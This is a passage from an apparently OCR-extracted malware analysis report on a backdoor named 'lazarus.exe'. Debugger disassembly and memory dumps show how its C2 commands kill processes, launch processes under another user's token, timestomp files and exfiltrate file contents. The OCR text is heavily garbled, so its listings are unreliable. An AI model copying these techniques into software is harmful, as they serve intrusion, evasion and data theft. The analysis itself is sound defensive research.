i 1 51 push ecx X87SW_C1 0O Xx87SW_CO 0O x87SW_ES O
' ! 6A OC push C X87SW_SF 0 X87SW_P 0 X87SW_U 0
! ! 52 push edx
T - FF 15 38 53 41 00 €all dword ptr ds:[<&GetTokenInformation>] v
e i s Tfault(s'dcall) - ~|[5_[2]0J unod
= = = esp] 00000:
dword ptr [00415338 <lazarus.&GetTokenInformation>]=<advapi32.GetTokenInformation> 2: esglﬂ 0000000C
3: [esp+8] 02569C20
4: [esp+C] 00000004
.Text:00407394 lazarus.exe:$7394 #7394 picy
) 000001FC
@oumpt  @hpump2 WWpump3  UWDump4  @WDumps @ watch1  [x-llocals £ Struct oS Ery I
Address 1Hex | AscI | o [93205804 02205020,
025669E0EI 00 54 002000 42.00[55 00 54 00[48 00 4F QO[N-T. -A-U.T.H.0.] 0310F8AC | 0310F8BC

Figure 52

Whether the malware has successfully opened a process and extracted its creation time, the process ID
along with the creation time and process name are encrypted using the XOR algorithm and transmitted to
the C2 server:

L ! FARS 244 Fifth Avenue, Suite 2035, New York, NY 10001

Abvedc; e LT=2RS.com (212) 222-7061 info@lifars.com




6A 00 push 0

83 C2 05 add edx,s

51 push ecx

8B 4D 0OC mov ecx,dword ptr ss:[febp+C]
52 push edx

E8 BO FA FF FF €all lazarus. 403010

x875tatusword 0000

X87SW_B 0O x87SW_C3 0 Xx87Sw_C2 O
X87SW_C1 O x87SW_CO O Xx87SW_ES O
X87SW_SF O X87SW_P 0 x87Sw_U o

Default (stdcall)

~ |[5 2] 00 unlod

lazarus. 00403010

.text: 00403558 lazarus.exe:$3558 #3558

esp] 0255C63D

esp+4] 00000060
esp+8] 00000000
esp+C] 02569C24

@45 Dump 1 @4 Dump 2 &4 Dump 3 @4 Dump 4 4% Dump 5 @ Watch 1 [x=] Locals ;»' Struct

Address

0255C63D
0255C64D
0255C65D

0255C66D

Figure 53

EAX = 2 — kill a specific process obtained from the C2 server

The processes are enumerated using the Process32FirstW and Process32NextW functions:

push ecx
push eax
call dword ptr ds: [<&Process32Firstw>]

S
FF 15 E8 52 41 00

X87SW_U o

. E} [ unlod

|xs7sw_sr= 0 Xx87SW_P 0
) I
Default (stdcall)

dword ptr [004152E8 <lazarus.&Process32FirstW>]=<kernel32.Process32Firstw>

.Text:00407D0E lazarus.exe: $7DOE #7DOE

esp] 000001FC
esp+4] 0310FD34
esp+8] 02571FD8

@4 Dump 1 Yy Dump 2 @45 Dump 3 @4 Dump 4 @45 Dump 5 @ watch 1 [x=] Locals j;’ Struct
50 push eax
push ecx

51
FF 15 60 52 41 00 call dword ptr ds: [<&Process32Nextw>]

4: [esp+C] 02569FD8 L"lazarus.exe"
qu
0310FD24| 0310FD34

|XB7SW_SF 0 X87SW_P 0  X87SW_U )

[
¥ | Defauit (stdcall)

v [5s ][0 unlod

dword ptr [00415260 <lazarus.&Process32Nextw>]=<kernel32.Process32Nextw>

.Text:00407D45 lazarus.exe:$7D45 #7D45

1: [esp] DOOOOIFC

esp+4] 0310FD34
: [esp+8] 00000000
4: [esp+C] 02571FD8

2 struct

Figure 54

§% Dump 1 @4 Dump 2 @4 Dump 3 @Y Dump4 @4 Dump5 @ watch1  Ix=lLocals

The malware opens the targeted process via a call to OpenProcess (0x100001

PROCESS_TERMINATE):

50 push eax

6A 01 push 1

68 01 00 10 00 push 100001

FF 15 4C 52 41 00 call dword ptr ds:[<cOpenProcess>]

ml’c |
0310FD20| 0310FD34

SYNCHRONIZE |

X87SW_C1 0
X87SW_SF 0

X87SW_CO O
X87SW_P 0

X87SW_ES O
X87SW_U o

R \El [ unlod

I
v
Default (stdcall)

dword ptr [0041524C <lazarus.&0penProcess>]=<kernel32.0penProcess>

.text:00407DAF Tazarus.exe: $7DAF #7DAF

esp] 00100001

esp+4] 00000001

esp+8] 000001A0

4: [esp+C] 00408670 lazarus.00408670

@4 Dump 1 49 Dump 2 §% Dump 3 B4y Dump 4 §%% Dump 5 @ watch 1 [x=] Locals 2/’ Struct

00100001
0310FF60 | 00000001
~ I0310FF64 | 000001A0

lacrrr 1

Figure 55

Addrace |uav

TerminateProcess is utilized to kill the targeted process and all of its threads:

6A 00 push 0
50 push eax
FF 15 40 53 41 00 ca‘l'l dword ptr ds:[<&TerminateProcess>]

‘ X87SW_SF 0 X87SW_P 0 X87SW_U 0

ol
Default (stdcall)

1: [esp] 0D0DOLFC

dword ptr [00415340 <lazarus.&TerminateProcess>]=<kernel32.TerminateProcess>

.text:00407DBC lazarus.exe: $7DBC #7DBC

¥ E]D Unlock
)
2: [esp+4] 00000000

3: [esp+8] 00408670 lazarus.00408670
4: [esp+C] 02569FD8 L"lazarus.exe"

2 struct

Figure 56

@49 Dump 1 @4 Dump 2 4% Dump 3 U4 Dump 4 @4 Dump 5 @ watch 1 [x=] Locals

EAX = 3 — create a specific process obtained from the C2 server

LIFARS
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0310FF64| 00000000
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A new process whose name is obtained from the C2 server is created using the CreateProcessW API
(0x8000000 = CREATE_NO_WINDOW):

68 00 00 00 08

89 54 24 30

C7 44 24 40 44
C7 44 24 6C 01
66 89 54 24 70
FF 15 20 53 41

00 00 00
00 00 00

00

push ecx
mov ecx,dword ptr ss:[esp+64]
push
push edx
push edx
push 8000000
push edx
push edx
push edx
push ecx
ush edx
mov dword ptr ss
mov dword ptr s
mov dword ptr s
mov word ptr s

:jfesp+30Q, edx

:ffesp+40],44

[ESD GC]v
sp+70,d

ca11 dword ptr ds [<&CreateProcessw>]

€ X87r6 00000000000000000000 ST6 Empty 0.00000C
X87r7 00000000000000000000 ST7 Empty 0.00000C

x87Tagword FFFF

X87TW_0 3 (Empty) X87TW_1 3 (Empty)

X87TW_2 3 (Empty) X87TW_3 3 (Empty)
X87TW_4 3 (Empty) X87TW_5 3 (Empty)
X87TW_6 3 (Empty) X87TW_7 3 (Empty)

x87Statusword 0000

X87SW_B 0 X87SW_C3 0
4 X87SW_C1 O Xx87SW_C0 O
X87SW_SF O X87SW_P o

X87SW_C2 0
X87SW_ES ©
X87SW_U o

¥ EI [ unloch

% Default (stdcall)

.Text:00407C83 lazarus.exe:$7C83 #7C83

dword ptr [00415320 <lazarus.&CreateProcessw>]=<kernel32.CreateProcessw>

Figure 57

1: [esp] 00000000

: [esp+4] 02569FD8 L"cmd.exe™
esp+8] 00000000
esp+C] 00000000

5 00000000
@4 Dump 1 4% Dump 2 @4 Dump 3 4% Dump 4 §49 Dump 5 @ watch 1 [x=] Locals 2 struct '0310FEES | 02569FDS | L"cmd. exe"”
OeTeorot aserr 0310FEF| 00000000
02569FD8 |63, 00 6D 00|64 00 2E 00|65 00 78 00|65 00 00 00|E.m.d...e.X.e... 0310FEF4| 00000000
02569FE8| 00 00 00 00(00 00 00 00(00 00 00 00(00 00 00 00... 0310FEFS 08000000
02569FF8| 00 00 00 00(00 00 00 00(00 00 0O 00(00 00 00 00 0310FEFC | 00000000
0256A008| 00 00 00 00(00 00 00 00(00 00 00 00(00 00 00 00 0310FF00 | 00000000
0256A018|00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00 0310FF04 0310FF24
02364928/ 00 09 09 09|09 99 99 99|09 99 99 99|09 99 99 09 0310FF0s | 03107F14

EAX = 4 — create a process obtained from the C2 server with a specific token

The WTSQueryUserToken routine is utilized to obtain the primary access token of the user specified by

session 0:

51

0
FF 15 CO 53 41 00

push ecx
push e
call

ax
dword ptr ds:[<&wTsSQueryUserToken>]

X87SW_U 0

b4 El [ unlod

| xs7sw_sF o xs7swp o

¥ | Defauit (stdcal

.Text: 00405204 lazarus.exe:$5204 #5204

y
dword ptr [004153C0 <lazarus.&WTSQueryUserToken>]=<wtsapi32.WTsQueryUserToken>

4% Dump 1 @ Dump2 @YDump3 @

Dump 4

@4 Dump 5

@ watch1  Ix-llocals  # Struct

Figure 58

00000000
0310FF04| 0310FF10

1: [esp]

2: [esp+4] 0310FF10

3: [esp+8] 00000000

4: [esp+C] 02569FD8 L"cmd.exe"

The file creates a new process that runs in the security context of the user represented by the above token:

dword

88 94 24 88 00 00 00

C7 44 24 4C 44 00 00 00
C7 44 24 78 01 00 00 00
52 41 00 call

. Text:00405261 lazarus.exe:$5261 #5261

push eax

mov dword ptr
mov word ptr
push e:

mov. edx dword ptr ss:[esp+ssl

mov dword ptr
mov_dword ptr
dword ptr

XB/r4 UULUUUDUUUDUUUUUUUDL 514 EMPTY U.UULLLY
X87r5

00000000000000000000 ST5 Empty 0.000000

¢ [ xs7re 00000000000000000000 ST6 Empty O.000000

€ x87Tagword FFFF

€ | x87Tw_0 3 (empty)
] X87TW_2 3 (Empty)
X87TW_4 3 (Empty)
X87TW_6 3 (Empty)

X87r7 00000000000000000000 ST7 Empty 0.000000

Xx87TW_1 3 (Empty)
X87TW_3 3 (Empty)
X87TW_5

Xx87TW_7 3 (Empty)

e | xs7statusword 0000

X87SW_C1 O X87SW_CO 0O
4 | x87SW_SF 0 x87SW_P 0

X87SW_C3 0 X87SW.C2 0
X87SW_ES 0O

X87SW_U 0

[004152DC <lazarus.&CreateProcessAsUserw>]=<advapi32.CreateProcessAsUserw>

¥ | Defait (stdcal)
: [esp] 00001234

a:

~|[5_[2] 0] unlock

{esp+4] 00000000
[esp+8] 02569FD8 L"cmd.exe"
{esp+C]_00000000

EAX =5, 8, 9, 10, 15, 19,

0310FF44(00 00 00 00|00 00 00

00

20,

00 00

C
00|01 00 00 00

Figure 59

@oump1  $4oump2  $MDump3  $MDump4  @HDumps @ watch1  Iv-llocals 2 Struct e
02569FD8

Address | Hex ASCII
0310FEE4| 00 00 00 00({00 00 00 00|00 0O 00 00|00 00 00 00 00000000
0310FEF4| 00 00 00 00(00 00 00 00|24 EE 10 O3 . 00000000
0310FF04 Z 00 00 00 Of FF FF FF FF|O. 00000000
0310FF14 |l00) 00 00 00(00 00 00 00(00 OO0 00 00|00 00 00 00|H 00000000
0310FF24| 44 00 00 00(00 00 00 00|00 0O 0O Of 0 00 00 00 00000000
0310FF34| 00 00 00 00|00 00 0O Of 0 00 00 00 00 0310FF24

00

0310FF00| 0310FF14

L"cmd. exe”

21, 22, 23, 25, 26, 29, 30 — send 4 encrypted bytes to the C2 server

LIFARS
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The executable XOR-ed the “0xFFFFFFFF” number with some

server.
6A 00 push 0
8D 0C 2E lea ecx,dword ptr ds:[esi+ebp]
50 push eax
51 push ecx
52 push ed

key bytes and sends the result to the C2

Xx875tatusword 0000
X87SW_B 0O x87SW_C3 0 x87sw_C2 0
X87SW_C1 O Xx87SW_CO O Xx87SW_ES 0

X87SW_SF O X87SW_P 0 Xx87Sw_U o

FF 15 20 52 41 00 call Mrd _ptr ds:[<&send>]

v
Defau]t (stdcall) v |[s 2] unled

dword ptr [00415220 <lazarus.&send>]=<ws2_32.send>

.text: 00403387 lazarus.exe:$3387 #3387

esp] 0000011C

esp+4] 0255C638
esp+8] 00000009
esp+C] 00000000

@49 Dump 1 @4 Dump 2 49 Dump 3 @4 Dump 4 @4 Dump 5 @& watch 1 025 scjs;cs
00000009

Address | Hex |Asc1z

0255C638 |17 «

EAX = 6 — create and populate a new file and perform timestomping

FO[D1 00 00 00[00 00 00 OO[M..... 7oN

00000000
[ annnnnnn

A new file whose name is received from the C2 server is created by the malware:

X871W_6 3 (EMPTY) X8/ IW_s 3 (EMPTY)

x87Statusword 0000

X87SW_B 0 X87SW_C3 0 X87SW_C2 0
X87SW_C1 0O Xx87SW_CO O Xx87SW_ES O
X87SW_SF 0 X87SW_P 0 X87SW_.U 0

6A 00 push 0

68 80 00 00 00 push 80

6A 04 push 4

6A 00 push 0

6A 03 push 3

68 00 00 00 40 push -wmmmu

50 push e

FF 15 48 53 41 00 call dword ptr ds:[<eCreateFilew>]

Default (stdcall) o [E [ unlo

.text:00407AD1 lazarus.exe:$7AD1 #7AD1

dword ptr‘ [00415348 <lazarus.&CreateFilew>]J=<kernel32.CreateFilew>

1: [esp] 02569FD8 L"test.txt™
2: [esp+4] 40000000
3: [esp+8] 00000003
4: [esp+C] 00000000

4oump1  Wpump2 @MDump3  WWpump4  @Wpumps @ watch 1

Address

02569FD8
02569FES8
02569FF8

74 00 65 00|73 00 74 00
0|00 00 00 00
00 00 00 00|00 00 00 0O

2E 00 74 O
00 00 00 00
00 00 00 00

78
00
00

The malicious process opens the “cmd.exe” file:

L"test.txt"

X8/I1W_b 3 (EMPTY)  X8/IW_/ 3 (EMPTY)

x87StatuswWord 0000

X87SW_B O x87SW_C3 0 x87sw_C2 0
X87SW_C1 O Xx87SW_CO O Xx87SW_ES 0O
X87SW_SF O X87SW_P 0 Xx87SwW_U 0

ds:[<&CreateFilew>]

. 6A 00 push 0

o 68 80 00 00 00 push 80

. 6A 03 push 3

» 6A 00 push 0

. 6A 01 push 1

= 68 00 00 00 80 push 80000000

° 52 push edx
>0 FF 15 48 53 41 00 call dword

. S—— —

Default (stdcall) ~ |[s_1£]0] unlod

dword ptr [00415348 <lazarus.&CreateFilew>]=<kernel32.CreateFilew>

.text:00407A16 lazarus.exe:$7A16 #7Al6

: [esp] 0310FD24

2: [esp+4] 80000000
3: [esp+8] 00000001
4: [esp+C] 00000000

@45 Dump 1 4% Dump 2 @4 Dump 3 @4 Dump 4 @4 Dump 5 @ watch 1

Address | Hex ASCIT
0310FD24 |43 00 3A 00|5C 00 57 00(49 00 4E 00|44 00 4F 00|C€.:.\.W.
0310FD34|57 00 53 00|5C 00 73 00(79 00 73 00|74 00 65 OO|W.S.\.s.
0310FD44| 6D 00 33 00(32 00 5C 00|63 00 6D 00|64 00 2E 00(m.3.2.\.
0310FD54|65 00 78 00|65 00 00 00|00 00 00 00|00 00 00 OO|e.x.e

The created, last accessed and last modified times of the “cmd.exe” file are extracted using the GetFileTime

APIL:
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51 push ecx

8D 4C 24 30 lea ecx, dv.ord ptr ss:[esp+300

52 push ed

51 push ecx

50 push eax

FF 15 A8 52 41 00 cu'l'l tMord ptr ds:[<&GetFileTime>]

X8/5TATUSWOra LULU

X87SW_B 0 x87SW_C3 0 x87sw_C2 0
X87SW_C1 O x87SW_CO 0O X87SW_ES 0O
0 Xx87sw_U o

X87SW_SF O X87SW_P

% \E [ unlock

v
Default (stdcall)

dword ptr [004152A8 <lazarus.&GetFileTime>]=<kernel32.GetFileTime>

.Text:00407A35 lazarus.exe:$7A35 #7A35

1: [esp] 000001F4

2: [esp+4] 0310FDIC
3: [esp+8] 0310FDOC
4: [esp+C] 0310FD14

@4 Dump 1 MDumpz @4 Dump 3 @44 Dump 4 §4% Dump 5 @ watch 1 [x=] Locals 2" Struct
[Address | H | Asc1z |
e t

Figure 63

The created, last accessed, and last modified times of the newly
above:

000001F4

0310FCE4 | 0310FD1C

~ HOBlOFCER 0310FDOC
0310FCEC| 0310FD14

created file are set to the ones extracted

52 ush edx % 7
8B 94 24 44 02 00 00 :ov edx,dword ptr Eesp':u] x87Statusword 0000
8D 4C 24 30 lea ecx,dword ptr s esp+30] X87SW_B O Xx87SW_C3 0 x87sw_C2 0
50 push eax X87SW_C1 O X87SW_CO O X87SW_ES O
51 push ecx X87SW_SF O X87SW_P O X87SW_U 0O
52 push edx nm
FF 15 50 52 41 00 €all dword ptr dsi[<esetFileTime>] o — ——
o 5 | Defaut (stdcal) v (s [2] 0 unlock
i 1: [esp] 0000011C
dword ptr [00415250 <lazarus.&SetFileTime>]=<kernel32.SetFileTime> 2: [esp+4] 0310FDIC
3: [esp+8] 0310FDOC
4: [esp+C] 0310FD14
.Text:00407A56 lazarus.exe: $7A56 #7AS6 & e
o X . = - 7 % 0000011C
ump 1 @pump2  @Ypump3  @Ypump4  @Hpumps @ watch1  IxelLocals & Struct 0310FCE4 | 0310FD1C
Cantiee |l [ Asciz 0310FCES| 0310FDOC
0310FDOC |A7 B8 94 BF|28 39 D3 O1|A7 B8 94 BF|28 39 D3 01‘ - (90.5. ¢(90 RTE [ETIE
0310FDIC A7 B8 94 BF |28 39 D3 01|43 00 3A 00|5C 00 57 §..2(90.Co1 \.W. $ R Crhn
Figure 64
’ >
B test.bt Properties X
General Security Detads Previous Versions
ﬂ"“ test tt
h . L
Type offie:  TXT Fie (txt)
re
Openswith: [f Notepads+ : a free (GN Change...
Locaton C\Users [ Deskiop
Sze 0 bytes
Sze ondisk: 0 bytes
Created Fnday, September 29, 2017, 9:42.09 AM
Modified: Fnday, September 29, 2017, 9:42.09 AM
Accessed:  Fnday, September 29, 2017, 9:42:09 AM
Attrbutes:  [[JReadonly [[] Hidden Advanced...
Cancel | | Aosh

Figure 65
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The file is populated with content received from the server, as shown in figure 66:

(B 6A 00 push 0

e b 51 push ecx

IR 52 push edx

nefl pened 57 push edi

e 50 push eax

m * FF 15 94 53 41 00 call dword ptr ds:[<@WriteFile>]
SPRL AL

X87statusword 0000

X87SW_B O x87SW_C3 0 x87Sw_C2 O
X87SW_C1 O x87SW_CO 0O Xx87SW_ES O
€ X87SW_SF O X87SW_P 0 Xx87SW_U o

v [s 2] unlod

¥ | Defauit (stdcal)
1: [esp]l 0000011C

dword ptr [00415394 <lazarus.&WriteFile-]=<kernel3z2.writeFile>

.Text: 00407887 lazarus.exe:$7B87 #7B87

2: [esp+4] 02571FF0 "test"
3: [esp+8] 025669E0
4: [esp+C] 0310FF50

©4% Dump 1 @4 Dump 2 @49 Dump 3 U4 Dump 4 @4 Dump 5 @& watch 1 [x=] Locals :;’ Struct

0000011C
0310FF24| 02571FF0 | "test™

Address | Hex | Asc11 |
02571FFO0 [74.65.73.74] 00 00 00 00[00 00 00 00[00 00 00 00|EESE...........- [

Figure 66

0310FF28 | 025669E0
0310FF2C | 0310FF50
0310FF30| 00000000

EAX = 7 —read file content, extract file times and exfiltrate them to the C2 server

The process opens the targeted file using the CreateFileW routine:

I 6A 00 push 0

i 68 80 00 00 00 push 80

i 6A 04 push 4

e 6A 00 push 0

i GA 03 push 3

(i 68 00 00 00 80 push 80000000

0o 0 53 push ebx

Eg——— FF 15 48 53 41 00 call mord ptr ds:[<eCreateFilew>]

3

AO/IM_D 3 \EWpLY)  AG/IM_/ 3 \CHpLY)
x87Statusword 0000

X87SW_B O Xx87SW_C3 0 x87sw_C2 0
X87SW_C1 O Xx87SW_CO O Xx87SW_ES 0O
X87SW_SF O X87SW_P 0  X87SW_U o

v
Defauit (stdcl) ~ [5_E=] 00 unlock
esp] 02569FD8 L"test.txt"

dword ptr [00415348 <lazarus.&CreateFilew>]=<kernel32.CreateFilew>

.text:00407458 lazarus.exe:$745B #7458

esp+4] 80000000
esp+8] 00000003
esp+C] 00000000

@8 watch 1 ) Struct

4% Dump 1 @4 Dump 2 @4 Dump 3 @4 Dump 4 @4 Dump 5 [x=] Locals

8

L"test. txt™”

0310FC94 | 80000000

Address | Hex

78
00
00

02569FD8
02569FES8
02569FF8

73 00 74 00
00 00 00 00
00 00 00 00

2E 00 74 00
00 00 00 00
00 00 00 00

Figure 67

0310FC98| 00000003
0310FCSC | 00000000
0310FCAOD | 00000004
0310FCA4 | 00000080
0310FCAS8| 00000000

The created, last accessed, and last modified times of the above file are extracted using the GetFileTime

51 push ecx
8B 4C 24 14 mov ecx,dword ptr ss:[fesp+14]
8D 44 24 28 lea eax,dword ptr ss:[fesp+28

52 push edx
50 push eax
51 push

ec
FF 15 A8 52 41 00 cn'l“l mord _ptr ds:[<GetFileTime>]

x87Statusword 0000
X87SW_B O Xx87SW_C3 0 x87sw_C2 0O
€ X87SW_C1 O X87SW_CO 0O X87SW_ES O
v

Default(stdcall)

~ |[5_[2] ] unlod
ESD14] 0310FCDO

dword ptr [004152A8 <lazarus.&GetFileTime>]=<kernel32.GetFileTime>

.text: 00407508 lazarus.exe:$750B #7508

esp+8] 0310FCD8 &L"test.txt"
esp+C] 0310FCEO

) Struct

@45 Dump 1 @4 Dump 2 @49 Dump 3 @4 Dump 4 @4 Dump 5 '@ Watch 1 [x=] Locals

_e

'Address Hex IAsczI |
AeAnrcAnlRaE ar ro AaTas rA an AaTnm ar o AnTae Ar A IE o A A

Figure 68

ReadFile is utilized to retrieve the file content:

LIFARS
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X87SW_SF O X87SW_P 0 X87SW_U o
0D00001F4
000001F4
0310FCAO | 0310FCDO
P H 0310FCA4 | 0310FCDS |&L"test.txt"

0310FCAS8| 0310FCED
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55 push ebp x87Statusword 0000

52 push edx X87SW_B 0 X87SW_C3 0 X87SW_C2 0

68 FF 3F 00 00 push 3FFF X87SW_C1 O X87SW_CO O X87SW_ES O

56 push e51 X87SW_SF 0O X87SW_P 0 X87SW_U 1]

50 push e.

FF 15 08 53 41 00 call word ptr ds: [<&ReadF11e>] v

e e i 3 | Default (stdcal) ~|[s )0 unlock

1: [esp] 000001F4

2: [esp+4] 02571FF0
3: [esp+8] 0DD03FFF
4: [esp+C] 0310FCC8

dword ptr [00415308 <lazarus.&ReadFile>]=<kernel32.ReadFile>

.text:004075FC lazarus.exe: $75FC #75FC

000001F4
02571FF0
0310FCAO | D0003FFF
0310FCA4 | 0310FCC3
0310FCAS | 00000000

45 Dump 1 @4 Dump 2 @4 Dump 3 B4 Dump 4 @4 Dump 5 ‘?’f,‘ Watch 1 [x=] Locals 2/’ Struct

Address | Hex | Asc11 | ~
02571FF0 [86] 00 00 00[00 00 00 00[00 00 00 00[00 00 00 00 R .. ..wvvvensns ‘
Asc=3nnnl o

Figure 69

The filename, file times, and file content are encrypted using the XOR operator and sent to the C2 server:

e 6A 00 push 0 x87Statusword 0000
e 83 C2 05 add edx,s X87SW_B O XB87SW_C3 0 X87SW_C2 0
e 51 push ecx X87SW_C1 O X87SW_CO 0 X87SW_ES 0
| ° 8B 4D 0OC mov ecx,dword ptr ss:[febp+C] X87SW_SF O X87SW_P 0 Xx87SW_U 0O
H ° 52 puili‘ %dx
B E8 BO FA FF FF ca azarus. 403010 v
o B it 5 | Default (stdcall) % E]Dumw

1: [esp] 0255C63D
esp+4] 00000008
esp+8] 00000000

esp+C] 00000000

lazarus.00403010

.Text: 00403558 lazarus.exe:$3558 #3558

0255C63D
00000008

Woumpt  Yyoump2  @Yoump3  @HDump4  Wpumps @D watch1  Ix-lLocals & struct 0310FC60
Address | Hex ASCII H 9310“54 gggggggg
0255C63D FE 00 00]54 45 54]00 00 00 00/00 00 00 OO|&V..TEST........ = AAETREEAL e
Address | Hex ASCIT

68[00 00 00 00[00 00 00 OO|E..(P.|Keveuuunn

Figure 70

EAX = 11 — open file, extract file times and create a new file and modify its file times

0255C63D | 65

CreateFileW is used to open a file specified by the C2 server:

i 53 push ebx XS/1W_b 3 \EMPLY)  XS8/IW_/ 3 (EMPLY)
i 68 80 00 00 00 push 80
e GA 03 push 3 x87Statusword 0000
Bl 53 push ebx X87SW_B O x87SW_C3 0 x87SwW_C2 O
15 6A 01 push 1 X87SW_C1 O x87SW_CO 0O Xx87SW_ES O
I 68 00 00 00 80 push 80000000 X87SW_SF O X87SW_P O X87SW_U O
1 50 push eax €
e FF 15 48 53 41 00 call dword ptr ds:[<&CreateFilew>] v
i i 3 | Defauit (stdcal) ~|[s 2] unlod
v . w
= = 1: [esp] 02569FD8 L"test.txt
dword ptr [00415348 <lazarus.&CreateFilew>]=<kernel32.CreateFilew> esp+4] 80000000
esp+8] 00000001
esp+C] 00000000
.Text:00407E6B lazarus.exe:$7E6B #7EGB

02569FD8 | L"test.txt"
@oumpt  WWpump2 WDump3  UHDump4  WWpumps @ watch1  Ix-llocals 7 Struct 0310°:54 | 80000000
Address | Hex ASCII ~ 00000001
02569FD8 (74 00 65 00(73 00 74 00|2E 00 7 00 74 OO(E.e.s.t...t.x.t. 00000003
02569FES 00(00 00 00 00|00 00 00 00 00f... . e 00000080
bl cothcd b B | s 0310FF38| 00000000

Figure 71

The created, last accessed, and last modified times of the above file are extracted using the GetFileTime
function:

51 push ecx X8/5TaTUSWOra uuuL
8D 4C 24 28 lea ecx,dword ptr ss:|[fesp+28]) X87SW_B 0 x87SW_C3 0 x87Sw_C2 O
52 push edx X87SW_C1 O x87SW_CO 0O Xx87SW_ES O
gé push er X87SW_SF O X87SW_P 0 X87SW_U o
pus
FF 15 A8 52 41 00 Cﬂl] Ml‘d Dtl‘ dsi[<&GetFileTime>] v
S —— " > |Defauit tdca) v [5_2] 0] unlock

esp] 0000011C

esp+a] 0310FF60
esp+8] 0310FFs8
esp+C] 0310FF50

R
dword ptr [004152A8 <lazarus.&GetFileTime>]=<kernel32.GetFileTime>

.Text:00407E8A lazarus.exe:$7ESA #7ESA

WWoump1 @Yoump2  @Yoump3  @Hoump4  WWpumps @ watch1  [x=lLocals :»7 Struct m;g
0310FF34| 0310FF58
[Address [Hex |ascrr | ~ | 0310FF 32| 0310FF20

Figure 72
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A new file designated by the C2 server is created by the binary:

i 53 push ebx X8/ IW_6 3 (EMPTY) X8/ IW_/ 3 (EMPTY)
i 68 80 00 00 00 push 80
(i GA 03 push 3 x87Statusword 0000
Hihed 53 push ebx X87SW_B 0 X87SW_C3 0 X87SW.C2 O
o i 6A 02 push 2 X87SW_C1 O X87SW_CO O X87SW_ES O
Uit 68 00 00 00 40 push 40000000 X87SW_SF O X87SW_P 0 X87SW_.U 0
o 57 push edi [ 2
B FF 15 48 53 41 00 €all dword ptr ds:[<&CreateFilew>] v |
i s 3 | Defauit (stdcal) ~ 5 2] unloc
bk = = 1: [esp] 02571FF0 L"test2.txt"
dword ptr [00415348 <lazarus.&CreateFilew>]=<kernel32.CreateFilew> 2: [esp+4] 40000000
3: [esp+8] 00000002
4: [esp+C] 00000000

.text:00407EB2 lazarus.exe:$7EB2 #7EB2

02571FF0 [L"test2.txt"™

Y4 Dump 1 §4 Dump 2 $JDump3  PYDump4  G4Dump 5 @ watch 1 [x=] Locals & Struct 0310FF24
M’““ ~ || 0310eE2c | 66000008
02571FFO |74 00 65 00[73 00 74 00[32 00 2E 00[74 00 78 0310FF30| 00000003
02572000| 74 00 00 00|00 00 0O 00|00 00 00 00|00 00 00 0310FF324 | 00000080
02572010| 00 90 00 09|00 00 00 90|00 90 00 90|00 00 00 03107F 38 00000000

Figure 73

The SetFileTime routine is utilized to set the created, last accessed, and last modified times for the new file
to the values extracted before:

nEi . 51 push ecx x87Statusword 0000
i © 8D 4C 24 28 lea ecx,dword ptr ss:[fesp+28] X87SW_B 0 x87SW C3 0 x87sw Cz O
i ° 52 push edx X87SW_C1 0 XB87SW_CO O X87SW_ES 0
e ° 5 push ecx X87SW_SF 0 XB87SW_P 0 X87SW_U 0
e . 50 push eax o
(E TP e e FF 15 50 52 41 00 €all dword ptr ds:[<&SetFileTime>] v
s 3 | Default (stdcal) v [s 2] uniod
L b v - - - - 1: [esp] 00001234
dword ptr [00415250 <lazarus.&SetFileTime>]=<kernel32.SetFileTime> 2: [esp+4] 0310FF60
3: [esp+8] 0310FF58
4: [esp+C] 0310FF50
.text:00407ED1 lazarus.exe:$7ED1 #7ED1

) 00001234

Woump1  Yyoump2  @Yoump3  @HDump4  Wpumps @D watch1  Ix-lLocals & Struct m;lo#3o 0310FF60
0310FF34 | 0310FF58

l,\?ngff,. !\'?x,\, e ,!ASCI.I--—, _— I\ A‘ 0310FF38| 0310FF50

Figure 74

EAX = 12, 14 — convert the system time to a calendar value and write it into memory

The malware extracts the system time and converts it to a calendar value:

.text:00487F68 push ecx jtime t *
.text:00487F69 call _time

.text:00407F6E lea edx, [esp+34h+arg 4]
.text:00487F72 push edx 3 time t ¥
.text:00487F73 call _localtime

.text:00487F78 mov ecx, 9

.text:00407F7D mov esi, eax

.text:00407F7F lea edi, [esp+38h+var_24]
.text:00407F83 lea eax, [esp+38h+var_24]
.text:00487F87 rep movsd

.text:00407F89 mov edi, [esp+38h+var_24.tm_min]
.text:00407F3D push eax 3 struct tm *
.text:00407FB8E add edi, ebx

.text:00487F9@ mov [esp+3Ch+var_24.tm_min], edi
.text:00487F94 call _mktime

.text:00407F99 mov ecx, hMem

.text:00407F9F add esp, @Ch

.text:00407FA2 [ mov dword_4157E@, eax |
.text:00487FA7 mov dword_4157DC, @
.text:00407FB1 push @FFFFFFFFh

.text:00487FB3 push OFFFFFFIDh

.text:00487FB5 mov dword_4157E4, @
.text:00407FBF call sub_403470

.text:00487FC4 pop edi

.text:00407FCS pop esi

.text:00407FC6 pop ebx

.text:00407FC7 add esp, 24h

.text:08407FCA retn

.text:00487FCA sub_407F20 endp

.text:00407FCA

Address 1Hex | AscIz
004157E0'FBI BD 24 61[/00 00 00 00[01 00 00 00f01 00 00 OO|E%s$a..........

Figure 75
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EAX = 13 — convert the system time to a calendar value and write it into memory (different function from
above)

The malware extracts the system time and converts it to a calendar value:

.text:08407FE6 push ecx 5 time E™
.text:00407FE7 call time

.text:00407FEC lea edx, [esp+38h+arg_0]
.text:08407FF@ push edx ; time_t *
.text:08407FF1 call _localtime

.text:00407FF6 mov ecx, 9

.text:00487FFB mov esi, eax

.text:0@4@7FFD lea edi, [esp+3Ch+var_24]
.text:00408001 lea eax, [esp+3Ch+var_24]
.text:00408005 rep movsd

.text:00403007 mov edi, [esp+3Ch+var_24.tm_min]
.text:0840800B push eax ;3 struct tm *
.text:0048808C add edi, ebx

.text:0040800E mov [esp+4@h+var_24.tm_min], edi
.text:00408012 call _mktime

.text:00488017 mov ecx, hMem

.text:0040801D add esp, 18h

.text:00408020 [mov dword 4157E@, eax|
.text:00408025 mov dword_4157DC, 1
.text:08408802F push @FFFFFFFFh

.text:00408031 push @FFFFFFIDh

.text:00408033 mov dword_4157E4, @
.text:0040803D call sub_403470

.text:00408042 pop edi

.text:00408043 pop esi

.text:00408044 pop ebx

.text:00408045 add esp, 24h

.text:00408048 retn

.text:00408048 sub_487FD@ endp

.text:004038048

Address | Hex | ASCII
004157E0|€D] A0 23 61|00 00 00 00|01 00 OO OO[OL 00 00 OO|E #@evveoveonn-

Figure 76

EAX = 16 — create and populate a new file and move it to a newly generated file

